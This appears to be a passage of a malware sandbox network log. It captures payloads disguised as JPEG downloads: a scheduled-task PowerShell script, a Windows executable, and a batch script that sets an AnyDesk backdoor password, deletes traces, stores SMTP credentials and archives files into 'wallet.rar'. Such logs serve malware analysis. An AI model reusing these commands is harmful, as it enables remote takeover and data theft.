Jan 8, 2025 15:53:45.535435915 CET	1236	IN	Data Raw: 23 55 bb ee 4f b2 4a dc 39 0a f2 82 e0 d2 60 e0 29 9d 07 1f 7f e9 13 94 ea 00 5c ad 70 fb c4 96 4b aa a9 e1 ec ed 8f 20 8c a7 b8 46 23 58 63 53 53 c0 f5 cf ec c1 4a 6b c7 95 a7 ca 9c 85 38 0f 45 3c a8 50 33 1d 60 ec ef f0 cd 97 91 2e be 28 0f 47 Data Ascii: #UOJ9`)\pK F#XcSSJk8E<P3`.(GYa"-Eg]y&[gx\vi~9$&{ZhF1&%u;-P$%q!B]R2;-DXQclUv7mZ]II>;xX=\*68)wyg]p
Jan 8, 2025 15:53:45.540743113 CET	1236	IN	Data Raw: 4a a5 43 58 14 b6 f6 51 52 dc 63 b0 ff f8 f7 f6 94 9c b6 6c 9d 71 15 43 bf c8 f6 5e 49 f4 5c 5b a0 d4 b0 f0 28 be 3f 3b b9 5a db df 88 e4 b3 22 fe 55 6e a4 9f 5c 72 bc 41 13 f8 de cd 31 fa 93 a3 48 00 c3 fd 85 20 d7 88 23 91 06 50 b6 99 6f ea 58 Data Ascii: JCXQRclqC^I\[(?;Z"Un\rA1H #PoX>Do8"MGl:m>[^pT_ICC3#WhPdHGE>J#/i'&IUT$a[uTdgXxiZsd4gIFeRp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49816	185.125.51.5	80	9068	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 15:53:47.175947905 CET	86	OUT	GET /wol.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 8, 2025 15:53:47.822755098 CET	924	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:53:47 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 09:23:12 GMT ETag: "29e-62831fb20c000" Accept-Ranges: bytes Content-Length: 670 Content-Type: image/jpeg Data Raw: 24 41 63 74 69 6f 6e 20 3d 20 4e 65 77 2d 53 63 68 65 64 75 6c 65 64 54 61 73 6b 41 63 74 69 6f 6e 20 2d 45 78 65 63 75 74 65 20 22 43 3a 5c 50 72 6f 67 72 61 6d 20 46 69 6c 65 73 20 28 78 38 36 29 5c 4d 69 63 72 6f 73 6f 66 74 5c 45 64 67 65 5c 41 70 70 6c 69 63 61 74 69 6f 6e 5c 6d 73 65 64 67 65 2e 65 78 65 22 0d 0a 24 54 72 69 67 67 65 72 20 3d 20 4e 65 77 2d 53 63 68 65 64 75 6c 65 64 54 61 73 6b 54 72 69 67 67 65 72 20 2d 44 61 69 6c 79 20 2d 41 74 20 22 30 31 3a 30 30 41 4d 22 0d 0a 24 50 72 69 6e 63 69 70 61 6c 20 3d 20 4e 65 77 2d 53 63 68 65 64 75 6c 65 64 54 61 73 6b 50 72 69 6e 63 69 70 61 6c 20 2d 55 73 65 72 49 64 20 22 53 59 53 54 45 4d 22 20 2d 4c 6f 67 6f 6e 54 79 70 65 20 53 65 72 76 69 63 65 41 63 63 6f 75 6e 74 20 2d 52 75 6e 4c 65 76 65 6c 20 48 69 67 68 65 73 74 0d 0a 23 20 d0 a1 d0 be d0 b7 d0 b4 d0 b0 d0 bd d0 b8 d0 b5 20 d0 bd d0 b0 d1 81 d1 82 d1 80 d0 be d0 b5 d0 ba 20 d0 b7 d0 b0 d0 b4 d0 b0 d1 87 d0 b8 0d 0a 24 54 61 73 6b 53 65 74 74 69 6e 67 73 20 3d 20 4e 65 77 2d 53 [TRUNCATED] Data Ascii: $Action = New-ScheduledTaskAction -Execute "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"$Trigger = New-ScheduledTaskTrigger -Daily -At "01:00AM"$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest# $TaskSettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -WakeToRun# Register-ScheduledTask -Action $Action -Principal $Principal -Trigger $Trigger -TaskName "WakeUpAndLaunchEdge" -Settings $TaskSettings -Force

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.7	49822	185.125.51.5	80	9092	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 15:53:48.065197945 CET	85	OUT	GET /dc.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 8, 2025 15:53:48.693391085 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:53:48 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 14:22:40 GMT ETag: "cb190-628362a1aac00" Accept-Ranges: bytes Content-Length: 831888 Content-Type: image/jpeg Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 2d 82 c1 ed 69 e3 af be 69 e3 af be 69 e3 af be d4 ac 39 be 6b e3 af be 60 9b 3a be 77 e3 af be 60 9b 2c be db e3 af be 60 9b 2b be 50 e3 af be 4e 25 c2 be 63 e3 af be 4e 25 d4 be 48 e3 af be 69 e3 ae be 64 e1 af be 60 9b 20 be 2f e3 af be 77 b1 3a be 6b e3 af be 77 b1 3b be 68 e3 af be 69 e3 38 be 68 e3 af be 60 9b 3e be 68 e3 af be 52 69 63 68 69 e3 af be 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 15 16 c8 4b 00 00 00 00 00 00 00 00 e0 00 23 01 0b 01 09 00 00 02 08 00 00 fa 02 00 00 00 00 00 10 63 01 00 00 10 00 00 00 20 08 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-iii9k`:w`,`+PN%cN%Hid` /w:kw;hi8h`>hRichiPELK#c @p\| @@<T @.text `.rdata\ @@.datah@.rsrcH@@
Jan 8, 2025 15:53:48.693444014 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 c0 81 ec ac 03 00 00 38 05 92 72 49 00 74 43 68 a4 03 00 00 50 8d 54 24 0c 52 a2 92 72 49 00 89 81 8c Data Ascii: 38rItChPT$RrI!rI$QjD$D$D$$HF$S3;JF,^$;J^,^0^4^8^[~jytNH
Jan 8, 2025 15:53:48.693454981 CET	1236	IN	Data Raw: 04 ff 06 89 46 04 c3 8b 4e 04 33 c0 89 48 04 ff 06 89 46 04 c3 cc cc cc cc cc cc cc cc cc cc 8b 44 24 10 8b 4c 24 0c 53 8b 5c 24 08 57 8b 7c 24 10 50 51 e8 07 00 00 00 5f 5b c2 10 00 cc cc 55 8b ec 83 e4 f8 51 56 3b 1d c0 72 49 00 75 50 81 ff 11 Data Ascii: FN3HFD$L$S\$W\|$PQ_[UQV;rIuPs(r#;=JrUERPWS&H^]u#EhJ3^]rItw9Gw$@jS&HJxj&H3^]wa
Jan 8, 2025 15:53:48.693476915 CET	1236	IN	Data Raw: 2d 90 8e 4a 00 0f 8f d4 01 00 00 85 ed 0f 8e cc 01 00 00 8b dd c1 e3 04 03 1d c4 8e 4a 00 85 db 0f 84 18 02 00 00 45 8d 45 ff a3 14 80 4a 00 8b 53 04 8b 02 0f b7 70 08 33 c9 c7 44 24 34 00 00 00 00 66 83 fe 7f 74 16 8b c2 90 8b 78 04 83 c0 04 41 Data Ascii: -JJEEJSp3D$4ftxAfuvIfu2tG_l@$T@Jfyl$0T$D$L$RPQ\$4\|$8t$,T$0\|$43f
Jan 8, 2025 15:53:48.693495989 CET	448	IN	Data Raw: 83 c4 04 46 3b 77 08 72 e0 5e 5b c7 47 08 00 00 00 00 c3 cc cc cc cc 8b 10 3b 50 1c 7d 19 56 8d 72 01 89 30 8b 40 18 8b 04 90 5e 3b c8 74 05 e8 f3 25 00 00 b0 01 c3 68 e8 48 48 00 8b c1 e8 44 07 00 00 32 c0 c3 cc 83 ec 38 a1 9c 72 49 00 53 55 8b Data Ascii: F;wr^[G;P}Vr0@^;t%hHHD28rISUl$DVW3wHt$8D$(D$0\$4jL$,Q\|J}'6=rIt$(w\|$(wHt$8D$0]jT$,R\|J:',rID$L;B
Jan 8, 2025 15:53:48.693507910 CET	1236	IN	Data Raw: 8b 95 64 fb ff ff 8b 42 04 8d 88 64 fb ff ff 89 8c 28 60 fb ff ff 8b 85 4c fc ff ff 56 57 85 c0 0f 85 11 8b 02 00 6a 00 6a 00 6a 00 68 14 77 48 00 ff 15 88 27 48 00 83 bd 14 fd ff ff 00 bf 01 00 00 00 0f 87 fa 8a 02 00 83 bd e4 fc ff ff 00 0f 87 Data Ascii: dBd(`LVWjjjhwH'H3,v~]v{dH)h)tCD$dL$dB(hdQhud
Jan 8, 2025 15:53:48.693520069 CET	1236	IN	Data Raw: 4a 00 e8 9d f5 00 00 83 c4 08 8d 4c 24 18 8d 44 24 3c 83 ed 02 e8 69 f9 ff ff 8b 74 24 18 66 83 3d 14 7d 4a 00 00 0f 84 00 a1 02 00 85 ed 0f 8c 22 a1 02 00 8b 7c 24 64 8d 45 01 50 6a 01 8b c7 e8 ae c6 00 00 6a 00 6a 01 6a 00 57 e8 f2 ae 00 00 83 Data Ascii: JL$D$<it$f=}J"\|$dEPjjjjWxqF.~/3CSjjW\|$D$<;L$t$(*q\|$PD$<D$PHH\|L$TQ1L$@V_^][P
Jan 8, 2025 15:53:48.693531990 CET	1236	IN	Data Raw: 44 85 4a 00 e8 16 ef ff ff b9 34 85 4a 00 e8 4c 00 00 00 b9 24 85 4a 00 e8 42 00 00 00 b9 14 85 4a 00 e8 38 00 00 00 b9 04 85 4a 00 e8 2e 00 00 00 b9 f4 84 4a 00 e8 24 00 00 00 b9 e4 84 4a 00 e8 1a 00 00 00 5f b9 d4 84 4a 00 5e e9 0e 00 00 00 cc Data Ascii: DJ4JL$JBJ8J.J$J_J^AA8uVQVR^Gf0\|f?wjwVPNHNHUl$;l$SV3W
Jan 8, 2025 15:53:48.693546057 CET	672	IN	Data Raw: 7c 24 12 00 0f 85 64 7b 02 00 33 d2 8d 7c 24 30 8d 74 24 20 66 89 54 4c 30 e8 bd f0 ff ff 8b fe 8b 74 24 1c e8 b2 ae 00 00 8b cf e8 5b fb ff ff 5f 5e 5d 5b 81 c4 28 20 00 00 c2 04 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc 56 8b f0 8b 46 0c 83 Data Ascii: \|$d{3\|$0t$ fTL0t$[_^][( VF8{u^Ff0\|.f?(StCC8rS[f?f~~frf rf0}SUl$VW4
Jan 8, 2025 15:53:48.693559885 CET	1236	IN	Data Raw: 00 83 c4 04 85 c0 0f 84 da 72 02 00 8b 6d 00 8b 55 00 89 10 8b 4d 04 89 48 04 8b 55 08 89 50 08 8b 6d 0c 89 68 0c ff 45 00 89 06 8b 47 08 8b 4f 04 89 34 81 ff 47 08 5e 5d c2 04 00 03 c0 89 47 0c 83 f8 04 72 41 33 c9 89 47 0c ba 04 00 00 00 f7 e2 Data Ascii: rmUMHUPmhEGO4G^]GrA3GQOGPQVWR>w(fD$U3e3D$ VWl$$Q3jD$$f
Jan 8, 2025 15:53:48.698385954 CET	1236	IN	Data Raw: 45 66 83 3c 6b 3d 0f 84 72 01 00 00 56 e9 2b fe ff ff bf 4c 00 00 00 8d 74 24 14 e8 d7 f8 ff ff 45 66 83 3c 6b 3d 0f 85 0c fe ff ff e9 ef 82 02 00 66 83 f8 39 0f 86 a8 fe ff ff e9 89 fd ff ff bf 4b 00 00 00 8d 74 24 14 e8 a9 f8 ff ff 45 66 83 3c Data Ascii: Ef<k=rV+Lt$Ef<k=f9Kt$Ef<k=L$Qt$Vif\|$?rNt$S\|$<VEOt$5\|$<VEtt$ EkfZwfAsfarf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.7	49853	94.23.158.211	80	9176	C:\Intel\Trays\Trays.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 15:53:53.113423109 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 37 39 65 31 62 32 36 35 65 33 63 62 37 37 34 63 33 32 61 62 35 38 38 62 32 37 34 37 61 38 32 63 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=79e1b265e3cb774c32ab588b2747a82c&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com
Jan 8, 2025 15:53:53.753559113 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:53:53 GMT Server: Apache Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 34 0d 0a 75 70 64 61 74 65 3d 30 3b 66 69 6e 61 6c 3d 30 3b 76 65 72 3d 3b 65 78 65 3d 3b 77 68 61 74 73 6e 65 77 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 24update=0;final=0;ver=;exe=;whatsnew=0
Jan 8, 2025 15:53:53.953088999 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 37 39 65 31 62 32 36 35 65 33 63 62 37 37 34 63 33 32 61 62 35 38 38 62 32 37 34 37 61 38 32 63 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=79e1b265e3cb774c32ab588b2747a82c&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com
Jan 8, 2025 15:53:54.129282951 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:53:54 GMT Server: Apache Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 34 0d 0a 75 70 64 61 74 65 3d 30 3b 66 69 6e 61 6c 3d 30 3b 76 65 72 3d 3b 65 78 65 3d 3b 77 68 61 74 73 6e 65 77 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 24update=0;final=0;ver=;exe=;whatsnew=0
Jan 8, 2025 15:53:54.268510103 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 37 39 65 31 62 32 36 35 65 33 63 62 37 37 34 63 33 32 61 62 35 38 38 62 32 37 34 37 61 38 32 63 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=79e1b265e3cb774c32ab588b2747a82c&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com
Jan 8, 2025 15:53:54.569462061 CET	210	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:53:54 GMT Server: Apache Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 32 34 0d 0a 75 70 64 61 74 65 3d 30 3b 66 69 6e 61 6c 3d 30 3b 76 65 72 3d 3b 65 78 65 3d 3b 77 68 61 74 73 6e 65 77 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 24update=0;final=0;ver=;exe=;whatsnew=0
Jan 8, 2025 15:53:54.725449085 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 37 39 65 31 62 32 36 35 65 33 63 62 37 37 34 63 33 32 61 62 35 38 38 62 32 37 34 37 61 38 32 63 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=79e1b265e3cb774c32ab588b2747a82c&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com
Jan 8, 2025 15:53:54.920233011 CET	344	IN	HTTP/1.1 403 Forbidden Date: Wed, 08 Jan 2025 14:53:54 GMT Server: Apache Content-Length: 199 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Jan 8, 2025 15:53:55.107974052 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 37 39 65 31 62 32 36 35 65 33 63 62 37 37 34 63 33 32 61 62 35 38 38 62 32 37 34 37 61 38 32 63 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=79e1b265e3cb774c32ab588b2747a82c&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49873	92.223.88.41	80	1464	C:\Intel\svchost.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 15:53:56.811068058 CET	274	OUT	Data Raw: 16 03 01 01 0d 01 00 01 09 03 03 43 10 78 3a 16 21 98 89 5e 3e 1a 4f 99 ff 00 67 a5 0c b7 62 1e a1 b4 7f 04 ea 3a f4 b3 74 ff e7 00 00 6e c0 30 c0 2c c0 28 c0 24 c0 14 c0 0a 00 a5 00 a3 00 a1 00 9f 00 6b 00 6a 00 69 00 68 00 39 00 38 00 37 00 36 Data Ascii: Cx:!^>Ogb:tn0,($kjih98762.*&=5/+'#g@?>32101-)%</r#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.7	49893	94.23.158.211	80	9176	C:\Intel\Trays\Trays.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 15:53:59.929683924 CET	339	OUT	POST /checkupdate.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: TpaHTTP Host: www.4t-niagara.com Content-Length: 150 Cache-Control: no-cache Data Raw: 70 72 67 3d 6d 69 6e 26 76 65 72 3d 36 2e 30 37 26 65 64 3d 50 72 6f 26 70 6f 72 74 3d 30 26 77 69 6e 3d 57 69 6e 31 30 26 66 69 6e 61 6c 3d 30 26 61 75 74 6f 3d 30 26 66 70 3d 37 39 65 31 62 32 36 35 65 33 63 62 37 37 34 63 33 32 61 62 35 38 38 62 32 37 34 37 61 38 32 63 26 6f 69 64 3d 33 46 55 4d 46 52 4a 2d 41 46 57 34 5a 42 26 72 6e 61 6d 65 3d 41 6c 65 78 26 65 6d 61 69 6c 3d 77 65 62 2e 64 65 74 65 63 74 69 76 40 67 6d 61 69 6c 2e 63 6f 6d Data Ascii: prg=min&ver=6.07&ed=Pro&port=0&win=Win10&final=0&auto=0&fp=79e1b265e3cb774c32ab588b2747a82c&oid=3FUMFRJ-AFW4ZB&rname=Alex&email=web.detectiv@gmail.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.7	49915	92.223.88.41	80	8320	C:\Intel\AnyDesk\AnyDesk.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 15:54:02.601722002 CET	274	OUT	Data Raw: 16 03 01 01 0d 01 00 01 09 03 03 f7 36 76 0c 14 9e 20 d9 c4 d1 56 7f cc 89 92 ef 2b 7e 41 9c 11 59 a2 aa c2 72 d4 d1 80 d9 f7 5a 00 00 6e c0 30 c0 2c c0 28 c0 24 c0 14 c0 0a 00 a5 00 a3 00 a1 00 9f 00 6b 00 6a 00 69 00 68 00 39 00 38 00 37 00 36 Data Ascii: 6v V+~AYrZn0,($kjih98762.*&=5/+'#g@?>32101-)%</r#
Jan 8, 2025 15:54:03.235745907 CET	1235	IN	Data Raw: 16 03 03 00 57 02 00 00 53 03 03 3b 97 57 38 cc a4 d5 56 7a ff bb 18 46 1e d8 fa 35 0a 8f b2 98 9e 61 b0 44 4f 57 4e 47 52 44 01 20 7b 12 35 9c 50 98 e4 95 14 7a ed 0c 79 f3 95 57 d7 52 f7 a3 2e 2e f5 74 f9 11 43 e9 3b 44 35 4d c0 2c 00 00 0b ff Data Ascii: WS;W8VzF5aDOWNGRD {5PzyWR..tC;D5M,OKHE0A0)yA0*H0J10UAnyNet Root CA 21 0Uphilandro Software GmbH10UDE0190227210728Z2902242
Jan 8, 2025 15:54:03.247294903 CET	1094	OUT	Data Raw: 16 03 03 02 b6 0b 00 02 b2 00 02 af 00 02 ac 30 82 02 a8 30 82 01 90 02 01 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 19 31 17 30 15 06 03 55 04 03 0c 0e 41 6e 79 44 65 73 6b 20 43 6c 69 65 6e 74 30 20 17 0d 32 35 30 31 30 38 31 36 31 39 Data Ascii: 000H010UAnyDesk Client0 250108161956Z20741227161956Z010UAnyDesk Client0"0H0cbMxW!f~im_-'YC1i9,
Jan 8, 2025 15:54:03.427742958 CET	7	IN	Data Raw: 15 03 03 00 02 02 2d Data Ascii: -

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49927	185.125.51.5	80	8028	C:\Intel\curl.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 15:54:04.606676102 CET	86	OUT	GET /bat.jpg HTTP/1.1 User-Agent: curl/7.40.0-DEV Host: downdown.ru Accept: /
Jan 8, 2025 15:54:05.244435072 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:54:05 GMT Server: Apache/2 Upgrade: h2,h2c Connection: Upgrade Last-Modified: Sun, 01 Dec 2024 14:59:54 GMT ETag: "117d-62836af42ce80" Accept-Ranges: bytes Content-Length: 4477 Content-Type: image/jpeg Data Raw: 65 63 68 6f 20 51 57 45 52 54 59 31 32 33 34 35 36 36 20 7c 20 41 6e 79 44 65 73 6b 2e 65 78 65 20 2d 2d 73 65 74 2d 70 61 73 73 77 6f 72 64 20 5f 75 6e 61 74 74 65 6e 64 65 64 5f 61 63 63 65 73 73 0d 0a 25 53 59 53 54 45 4d 44 52 49 56 45 25 5c 49 6e 74 65 6c 5c 64 63 2e 65 78 65 20 2f 44 0d 0a 70 6f 77 65 72 63 66 67 20 2d 73 65 74 61 63 76 61 6c 75 65 69 6e 64 65 78 20 53 43 48 45 4d 45 5f 43 55 52 52 45 4e 54 20 34 66 39 37 31 65 38 39 2d 65 65 62 64 2d 34 34 35 35 2d 61 38 64 65 2d 39 65 35 39 30 34 30 65 37 33 34 37 20 35 63 61 38 33 33 36 37 2d 36 65 34 35 2d 34 35 39 66 2d 61 32 37 62 2d 34 37 36 62 31 64 30 31 63 39 33 36 20 30 0d 0a 70 6f 77 65 72 63 66 67 20 2d 63 68 61 6e 67 65 20 2d 73 74 61 6e 64 62 79 2d 74 69 6d 65 6f 75 74 2d 61 63 20 30 0d 0a 70 6f 77 65 72 63 66 67 20 2d 63 68 61 6e 67 65 20 2d 68 69 62 65 72 6e 61 74 65 2d 74 69 6d 65 6f 75 74 2d 61 63 20 30 0d 0a 70 6f 77 65 72 63 66 67 20 2d 68 20 6f 66 66 0d 0a 70 6f 77 65 72 63 66 67 20 2f 53 45 54 44 43 56 41 4c 55 45 49 4e [TRUNCATED] Data Ascii: echo QWERTY1234566 \| AnyDesk.exe --set-password _unattended_access%SYSTEMDRIVE%\Intel\dc.exe /Dpowercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0powercfg -change -standby-timeout-ac 0powercfg -change -hibernate-timeout-ac 0powercfg -h offpowercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00Powershell.exe -executionpolicy remotesigned -File %SYSTEMDRIVE%\Intel\AnyDesk\wol.ps1del /q %SYSTEMDRIVE%\Intel\curl.exedel /q %SYSTEMDRIVE%\Intel\Trays.rardel /q %SYSTEMDRIVE%\Intel\svchost.exeset mail-out=out@dragonfires.ruset pass-out=TyU005d94yset smtp=mail.dragonfires.ruset mail-in=in@dragonfires.ru%SYSTEMDRIVE%\Intel\dr
Jan 8, 2025 15:54:05.244457960 CET	1236	IN	Data Raw: 69 76 65 72 2e 65 78 65 20 61 20 2d 72 20 2d 68 70 6c 69 6d 70 69 64 32 39 30 33 33 39 32 20 25 53 59 53 54 45 4d 44 52 49 56 45 25 5c 49 6e 74 65 6c 5c 77 61 6c 6c 65 74 2e 72 61 72 20 20 43 3a 5c 2a af a0 e0 ae ab 2a 2e 2a 20 2f 79 0d 0a 25 53 Data Ascii: iver.exe a -r -hplimpid2903392 %SYSTEMDRIVE%\Intel\wallet.rar C:\*. /y%SYSTEMDRIVE%\Intel\driver.exe a -r -hplimpid2903392 %SYSTEMDRIVE%\Intel\wallet.rar C:\*. /y%SYSTEMDRIVE%\Intel\driver.exe a -r -hplimpid2903392 %SYSTEMDR
